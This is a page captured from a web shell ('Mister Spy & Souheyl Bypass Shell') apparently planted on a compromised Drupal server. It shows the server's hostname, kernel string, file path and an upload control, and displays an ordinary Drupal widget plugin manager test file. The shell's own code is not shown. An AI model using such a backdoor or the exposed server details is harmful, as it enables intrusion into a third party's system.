Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor/web/core/modules/field/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor/web/core/modules/field/tests/src/Kernel/WidgetPluginManagerTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\field\Kernel;

use Drupal\Core\Field\BaseFieldDefinition;

/**
 * Tests the field widget manager.
 *
 * @group field
 */
class WidgetPluginManagerTest extends FieldKernelTestBase {

  /**
   * Tests that the widget definitions alter hook works.
   */
  public function testWidgetDefinitionAlter(): void {
    $widget_definition = \Drupal::service('plugin.manager.field.widget')->getDefinition('test_field_widget_multiple');

    // Test if hook_field_widget_info_alter is being called.
    $this->assertContains('test_field', $widget_definition['field_types'], "The 'test_field_widget_multiple' widget is enabled for the 'test_field' field type in field_test_field_widget_info_alter().");
  }

  /**
   * Tests that getInstance falls back on default if current is not applicable.
   *
   * @see \Drupal\field\Tests\FormatterPluginManagerTest::testNotApplicableFallback()
   */
  public function testNotApplicableFallback(): void {
    /** @var \Drupal\Core\Field\WidgetPluginManager $widget_plugin_manager */
    $widget_plugin_manager = \Drupal::service('plugin.manager.field.widget');

    $base_field_definition = BaseFieldDefinition::create('test_field')
      // Set a name that will make isApplicable() return TRUE.
      ->setName('field_multi_widget_field');

    $widget_options = [
      'field_definition' => $base_field_definition,
      'form_mode' => 'default',
      'configuration' => [
        'type' => 'test_field_widget_multiple',
      ],
    ];

    $instance = $widget_plugin_manager->getInstance($widget_options);
    $this->assertEquals('test_field_widget_multiple', $instance->getPluginId());

    // Now do the same but with machine name field_onewidgetfield, because that
    // makes isApplicable() return FALSE.
    $base_field_definition->setName('field_onewidgetfield');
    $instance = $widget_plugin_manager->getInstance($widget_options);

    // Instance should be default widget.
    $this->assertNotSame('test_field_widget_multiple', $instance->getPluginId());
    $this->assertEquals('test_field_widget', $instance->getPluginId());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net